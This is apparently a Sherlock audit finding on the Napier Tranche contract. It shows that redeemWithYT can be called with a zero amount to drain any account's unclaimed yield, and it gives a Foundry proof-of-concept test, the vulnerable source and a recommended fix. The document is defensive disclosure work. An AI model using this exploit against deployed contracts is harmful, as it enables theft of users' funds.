Uneven Coffee Griffin

high

# An attacker can steal `unclaimedYield` from any account in the `Tranche`.

## Summary

Calls to [`redeemWithYT(address,address,uint256)`](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/Tranche.sol#L246C14-L246C70) do not implement sufficient access control, enabling arbitrary callers to steal unclaimed yield.

## Vulnerability Detail

The [`redeemWithYT(address,address,uint256)`](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/Tranche.sol#L246C14-L246C70) function assumes that callers with insufficient spend allowance will not be able to redeem unclaimed yield due to the requirement that they burn shares upon redemption:

```solidity
// Burn PT and YT tokens from `from`
_burnFrom(from, pyAmount);
_yt.burnFrom(from, msg.sender, pyAmount);
```

However, an attacker can bypass these checks by merely stating they wish to burn `0` shares, permitting them to claim all [`accruedInTarget`](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/Tranche.sol#L248) from any account.

As a demonstration, add the following PoC to [`Tranche.t.sol`](https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/test/unit/Tranche.t.sol):

```solidity
function testSherlock() public virtual {

  /* setup */
  tranche.issue(address(this), 100 * ONE_SCALE);

  _simulateScaleIncrease();

  vm.prank(address(yt));
    tranche.updateUnclaimedYield(address(this), user, 10 * ONE_SCALE);

  /// @dev Assert that `address(this)` has unclaimed yield:
  assertEq(tranche.unclaimedYields(address(this)), 27499999);

  /// @dev Declare an `attacker` with `0` `underlying`:
  address attacker = address(0x420);
  assertEq(underlying.balanceOf(attacker), 0) /* assert_uninitialized */;

  /// @dev As the attacker, attempt to redeem with `0` `pyAmount`:
  vm.prank(attacker);
    tranche.redeemWithYT(address(this), attacker, 0);

  /// @dev Assert the balance has been stolen.
  assertEq(tranche.unclaimedYields(address(this)), 0);
  assertEq(underlying.balanceOf(attacker), 49499998);

}
```

This shows an arbitrary attacker can steal funds from any unsuspecting account in the [`Tranche`](https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/src/Tranche.sol) in possession of non-zero `unclaimedYield`.


It should also be noted that even callers with limited spend approvals may withdraw `unclaimedYield` vastly in excess of their approved amount.

## Impact

Since it is highly probable an attacker will steal user funds with little setup complexity, this should be considered a high severity issue.

## Code Snippet

```solidity
/// @inheritdoc ITranche
/// @notice Withdraws underlying tokens from the caller in exchange for `amount` of PT and YT.
/// 1 PT + 1 YT = 1 Target token (e.g. 1 wstETH). This equation is always true
/// because PT represents the principal amount of the Target token and YT represents the yield of the Target token.
/// Basically, anyone can burn `x` PT and `x` YT to withdraw `x` Target tokens anytime.
///
/// Withdrawn amount will be the sum of the following:
/// - amount derived from PT + YT burn
/// - amount of unclaimed yield
/// - amount of accrued yield from the last time when the YT balance was updated to now
/// @notice If the caller is not `from`, `from` must have approved the caller to spend `pyAmount` for PT and YT prior to calling this function.
/// @dev Reverts if the caller does not have enough PT and YT.
/// @param from The owner of PT and YT.
/// @param to The recipient of the redeemed underlying tokens.
/// @param pyAmount The amount of principal token (and yield token) to redeem in units of underlying tokens.
/// @return (uint256) The amount of underlying tokens redeemed.
function redeemWithYT(address from, address to, uint256 pyAmount) external nonReentrant returns (uint256) {
    uint256 _lscale = lscales[from];
    uint256 accruedInTarget = unclaimedYields[from];

    // Calculate the accrued interest in Target token
    // The lscale should not be 0 because the user should have some YT balance
    if (_lscale == 0) revert NoAccruedYield();

    GlobalScales memory _gscales = gscales;
    _updateGlobalScalesCache(_gscales);

    // Compute the accrued yield from the time when the YT balance is updated last to now
    // The accrued yield in units of target is computed as:
    // Formula: yield = ytBalance * (1/lscale - 1/maxscale)
    // Sum up the accrued yield, plus the unclaimed yield from the last time to now
    accruedInTarget += _computeAccruedInterestInTarget(
        _gscales.maxscale,
        _lscale,
        // Use yt balance instead of `pyAmount`
        // because we'll update the user's lscale to the current maxscale after this line
        // regardless of whether the user redeems all of their yt or not.
        // Otherwise, the user will lose some accrued yield from the last time to now.
        _yt.balanceOf(from)
    );
    // Compute shares equivalent to the amount of principal token to redeem
    uint256 sharesRedeemed = pyAmount.divWadDown(_gscales.maxscale);

    // Update the local scale and accrued yield of `from`
    lscales[from] = _gscales.maxscale;
    delete unclaimedYields[from];
    gscales = _gscales;

    // Burn PT and YT tokens from `from`
    _burnFrom(from, pyAmount);
    _yt.burnFrom(from, msg.sender, pyAmount);

    // Withdraw underlying tokens from the adapter and transfer them to the user
    _target.safeTransfer(address(adapter), sharesRedeemed + accruedInTarget);
    (uint256 amountWithdrawn, ) = adapter.prefundedRedeem(to);

    emit RedeemWithYT(from, to, amountWithdrawn);
    return amountWithdrawn;
}
```

## Tool used

Foundry

## Recommendation

Firstly, to ensure the appropriate access control mechanisms, ensure that calls to [`redeemWithYT(address,address,uint256)`](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/Tranche.sol#L246C14-L246C70) burn at least a single unit of `pyAmount`:

### ðŸ“„ [Tranche.sol](https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/src/Tranche.sol)

```diff
+ require(pyAmount != 0, "INSUFFICIENT_PY_AMOUNT");
+
 // Burn PT and YT tokens from `from`
_burnFrom(from, pyAmount);
_yt.burnFrom(from, msg.sender, pyAmount);
```

Secondly, it appears that even trusted callers with limited token approvals (i.e. `1 wei`) are permitted to withdraw all [`accruedInTarget`](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/Tranche.sol#L248) yield. It is advised that callers may only redeem [`accruedInTarget`](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/Tranche.sol#L248) in proportion to the redeemed amount of tokens, instead of the entire balance.